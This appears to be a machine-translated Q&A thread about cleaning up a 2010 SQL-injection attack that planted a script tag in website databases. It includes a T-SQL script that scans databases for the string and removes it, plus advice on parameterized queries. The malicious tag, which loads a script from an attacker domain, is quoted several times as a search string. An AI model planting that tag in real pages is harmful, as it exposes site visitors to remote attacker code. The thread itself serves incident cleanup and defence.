2010-09-21 37 views
9

Có ai biết thêm thông tin về vụ tấn công này không?Giải mã cuộc tấn công XSS này

tôi gần đây đã kịch bản này được tiêm vào trang web của tôi

Bằng cách này dont đi trên trang web này vì nó là nguồn gốc của nhiễm trùng

</title><script src=http://google-stats50.**fo/***.php> 

Những loại tấn công là nó, SQL hay MÃ?

Bằng cách dont đi trên trang web này vì nó là nguồn gốc của nhiễm trùng

Câu hỏi đặt ra là bởi những gì quind tấn công tấn công lây nhiễm này xảy ra?

Chúng tôi đã tìm thấy nó và không giống như tấn công twitter, đó là do các tham số yêu cầu trong url và chèn sql trực tiếp vào tham số.

Có kịch bản SQL sản bởi đội ngũ sql của chúng tôi để làm sạch cơ sở dữ liệu của bạn những người đã bị nhiễm

/************************************************************************* 
     SQL INJECTED DATABASE 
*************************************************************************/ 

DECLARE @dbName VARCHAR(200), 
     @SqlString NVARCHAR(MAX), 
     @SearchText VARCHAR(MAX), 
     @SearchTextLike VARCHAR(MAX), 
     @NbItems INT, 
     @TableName VARCHAR(255), 
     @ColoneName VARCHAR(255), 
     @objId BIGINT, 
     @tmpSqlString NVARCHAR(MAX), 
     @CleanUp BIT, 
     @RowCount BIGINT, 
     @debug BIT, 
     @Msg VARCHAR(MAX); 

SET @debug = 0; -- 1 = Additionnal prints 

SET @CleanUp = 0; -- 1 = Update tables 

SET @SearchText = '</title><script src=http://google-stats50.info/ur.php></script>'; 

SET @SearchTextLike = '%' + @SearchText + '%'; 

DECLARE @QueryResults TABLE (SqlString VARCHAR(MAX), TableName VARCHAR(255), ColoneName VARCHAR(255)); 
DECLARE @InfectedDB TABLE (InfectedDbName VARCHAR(255)); 
DECLARE @CleanedUpDB TABLE (DbName VARCHAR(255), Msg VARCHAR(MAX)); 
DECLARE @DbToValidate TABLE (DbName VARCHAR(255)); 

INSERT INTO @DbToValidate 
SELECT Name 
FROM sys.databases 
WHERE [state] = 0 AND 
     Name NOT IN ('master', 'tempdb', 'model', 'msdb') AND 
     Name NOT LIKE 'sys%' 
ORDER BY Name; 

DECLARE db_cusor CURSOR FOR 
SELECT DbName 
FROM @DbToValidate; 

OPEN db_cusor; 

FETCH NEXT FROM db_cusor 
INTO @dbName; 

WHILE @@FETCH_STATUS = 0 
BEGIN 
    SET @Msg = 'Traitement pour : ' + @dbName; 
    INSERT INTO @CleanedUpDB VALUES (@dbName, @Msg); 
    PRINT @Msg; 

    IF (SELECT [state] FROM sys.databases WHERE Name = @dbName) = 0 
    BEGIN 
     IF @debug = 1 PRINT Char(13) + '1 - Processing Database : ' + @dbName; 

     --Vider le contenu 
     DELETE FROM @QueryResults; 

     IF @debug = 1 PRINT '2 - Vider la table @QueryResults'; 

     IF @CleanUp = 0 
     BEGIN 
      SET @SqlString = ' USE [' + @dbName + '];' + 
          ' SELECT ''SELECT @NbItems = COUNT(1) FROM ['' + tbl.Name + ''] WHERE ['' + col.name + ''] LIKE ''''' + @SearchTextLike + ''''''', tbl.Name, col.Name' + 
          ' FROM sys.tables tbl inner join' + 
          '   sys.columns col on tbl.object_id = col.object_id' + 
          ' WHERE col.system_type_id IN (35, 99, 167, 175, 231, 239) and tbl.Name not like ''sys%'''; 
     END 
     ELSE 
     BEGIN 
      SET @SqlString = ' USE [' + @dbName + '];' + 
          ' SELECT ''UPDATE ['' + tbl.Name + ''] SET ['' + col.name + ''] = REPLACE(CAST(['' + col.name + ''] AS VARCHAR(MAX)),''''' + @SearchText + ''''','''''''') FROM ['' + tbl.Name + ''] WHERE ['' + col.name + ''] LIKE ''''' + @SearchTextLike + ''''''', tbl.Name, col.Name' + 
          ' FROM sys.tables tbl inner join' + 
          '   sys.columns col on tbl.object_id = col.object_id' + 
          ' WHERE col.system_type_id IN (35, 99, 167, 175, 231, 239) and tbl.Name not like ''sys%''' 
     END 

     INSERT INTO @QueryResults     
     EXEC sp_executesql @SqlString; 

     --Validation pour les erreurs 
     IF @@ERROR <> 0 
     BEGIN 
      GOTO NEXTPRINC 
     END 

     IF @debug = 1 PRINT '3 - Récupérer les Query String'; 

     --Faire une loop sur les querys string pour voir s'il y a des injections SQL 
     DECLARE query_cursor CURSOR FOR 
     SELECT SqlString, TableName, ColoneName 
     FROM @QueryResults; 

     OPEN query_cursor; 

     FETCH NEXT FROM query_cursor 
     INTO @SqlString, @TableName, @ColoneName; 

     IF @debug = 1 PRINT '4 - Cursor sur les Query String'; 

     WHILE @@FETCH_STATUS = 0 
     BEGIN 

      SET @tmpSqlString = 'USE [' + @dbName + '];' + 'SELECT @objId = OBJECT_ID(''' + @TableName + ''');' 

      EXEC sp_executesql @tmpSqlString, N'@objId bigint output', @objId output 

      --Validation pour les erreurs 
      IF @@ERROR <> 0 
      BEGIN 
       GOTO NEXTINNER 
      END 

      IF ISNULL(@objId, -1) <> -1 
      BEGIN 

       SET @SqlString = 'USE [' + @dbName + '];' + @SqlString; 

       IF @CleanUp = 0 
       BEGIN 
        EXEC sp_executesql @SqlString, N'@NbItems int output', @NbItems output 
       END 
       ELSE 
       BEGIN 
        EXEC sp_executesql @SqlString 
        SET @RowCount = @@ROWCOUNT 
       END 

       --Validation pour les erreurs 
       IF @@ERROR <> 0 
       BEGIN 
        GOTO NEXTINNER 
       END 

       IF @CleanUp = 0 
       BEGIN 
        IF ISNULL(@NbItems, 0) <> 0 
        BEGIN 
         -- BD Infectée ! 
         INSERT INTO @InfectedDB VALUES (@dbName); 
         PRINT '**** BD Infectée : ' + @dbName; 
         SELECT * FROM @InfectedDB; 
         BREAK; 
        END 
       END 
       ELSE 
       BEGIN 
        IF @RowCount <> 0 
        BEGIN 
         SET @Msg = '**** Table --> [' + @TableName + '] .::. Colonne --> [' + @ColoneName + '] .::. Nb Rows --> ' + CAST(@RowCount AS VARCHAR(7)); 
         INSERT INTO @CleanedUpDB VALUES (@dbName, @Msg); 
         PRINT @Msg; 
        END 
       END 

      END 

    NEXTINNER: 
      -- Get the next query. 
      FETCH NEXT FROM query_cursor 
      INTO @SqlString, @TableName, @ColoneName; 
     END 

     CLOSE query_cursor; 
     DEALLOCATE query_cursor; 

     IF @debug = 1 PRINT '5 - Vider cursor query'; 
    END 
    ELSE 
    BEGIN 
     SET @Msg = '**** La base de données n''est pas ''ONLINE''.'; 
     INSERT INTO @CleanedUpDB VALUES (@dbName, @Msg); 
     PRINT @Msg; 
    END 

    SET @Msg = 'Fin traitement pour : ' + @dbName; 
    INSERT INTO @CleanedUpDB VALUES (@dbName, @Msg); 
    PRINT @Msg; 

NEXTPRINC: 
    -- Get the next database. 
    FETCH NEXT FROM db_cusor 
    INTO @dbName; 
END 

IF @CleanUp = 0 
BEGIN 
    SELECT * FROM @InfectedDB; 
END 
ELSE 
BEGIN 
    SELECT * FROM @CleanedUpDB; 
END 

GOTO FIN 

FININNER: 
    CLOSE query_cursor; 
    DEALLOCATE query_cursor; 

FIN: 
    --Fermeture du cursor 
    CLOSE db_cusor; 
    DEALLOCATE db_cusor; 
+0

Tôi không biết điều này là gì hoặc cách khắc phục, nhưng Google cho thấy khoảng 740 trang web khác bị nhiễm tương tự. –

+0

Donc thay đổi url của tập lệnh xin vui lòng! –

+3

@ Cédric Hãy cho tôi biết lý do tại sao bạn nên viết tên miền của trang web nguy hiểm này trên trang đầu của một trang web nhận 2,5 triệu lượt truy cập mỗi ngày. Bạn đang cố gắng để _promote_ nó ?! – badp

Trả lời

4

Chỉ cần xảy ra với chúng tôi là tốt. Hầu như mọi bản ghi trong cơ sở dữ liệu.

Việc đặt cược tốt nhất là phải làm như sau: (chúng tôi đã chỉ làm điều này thành công)

UPDATE [mytable] set [column] = 
    REPLACE([column], 
      '&lt;/title&gt;&lt;script src=http://google-stats50.info/ur.php&gt;', 
      '') 

dòng đó sẽ loại bỏ các kịch bản từ từng lĩnh vực. Bạn sẽ phải tự kiểm tra các trường mặc dù và thay đổi câu lệnh UPDATE cho phù hợp.


Tôi đoán rằng mỗi người trong số các bạn đều có biểu mẫu trên trang web của bạn bằng nút gửi. Tôi cũng đoán rằng các hình thức hành động liên quan đến một tuyên bố sql với sql nối?

"INSERT INTO tbl_Contacts (name, email, enquiry) VALUES ('" & \ 
          name & "', '" & email & "', '" & enquiry & "');" 

Nếu đây là trường hợp, bạn đã bị hack SQL injection và có lẽ bạn nên thay đổi tất cả các câu lệnh sử dụng cú pháp này để "truy vấn parameterised"

"INSERT INTO tbl_Contacts (name, email, enquiry) VALUES (@name, @email, @enquiry);" 

sqlcommand.parameters.add("@name", SqlDbType.VarChar).Value = foo 
sqlcommand.parameters.add("@email", SqlDbType.VarChar).Value = bar 
sqlcommand.parameters.add("@enquiry", SqlDbType.VarChar).Value = baz 

Hy vọng rằng điều này giúp ..

+0

@badp: Cảm ơn bạn đã dọn dẹp :) – Simon

2

Chúng tôi gặp vấn đề tương tự sáng nay. trường hợp điển hình của tiêm sql: bạn dường như không kiểm tra các thông số bạn đã nhận qua URL. hãy xem nhật ký truy cập máy chủ web - bạn sẽ thấy các câu lệnh cập nhật!

+0

Chúng tôi nhận được chính xác cùng một vấn đề sáng nay. Một số câu trả lời cho tôi biết rằng tôi không chắc chắn nếu là một cuộc tấn công mã hoặc tấn công trực tiếp máy chủ sql vì trang web .net và trang web asp cổ điển đã bị tấn công –

3

Tấn công XSS cổ điển. Bạn nên kiểm tra đầu vào của mình cho các thẻ HTML và xóa chúng. Nếu bạn cho phép mọi người đăng các thẻ HTML thì bạn nên sử dụng danh sách trắng cho các thẻ được phép (và các thuộc tính thẻ được cho phép, vì vậy chúng không thể "onClick"), thay vì cố gắng chặn những thẻ bạn có thể nghĩ rắc rối.

+0

Trang web không chứa các hình thức –

+0

+1 để giới thiệu một danh sách trắng. –

1

Gần đây tôi đã sửa một lỗi tương tự, mọi tệp .asp, .js và .html trên máy chủ bị nhiễm đều có thêm tập lệnh, nhưng cơ sở dữ liệu là bình thường. Trong trường hợp đó, hack đã được thực hiện thông qua FTP, mật khẩu không đủ mạnh. Có lẽ một cái gì đó tương tự đã xảy ra với bạn?

Tôi đã sửa nó bằng một công cụ tìm và thay thế trong trình chỉnh sửa văn bản hỗ trợ nhiều tài liệu cùng một lúc. (notepad ++)

+0

Trong trường hợp của tôi cơ sở dữ liệu bị nhiễm, trang được hiển thị từ nội dung cơ sở dữ liệu –

Các vấn đề liên quan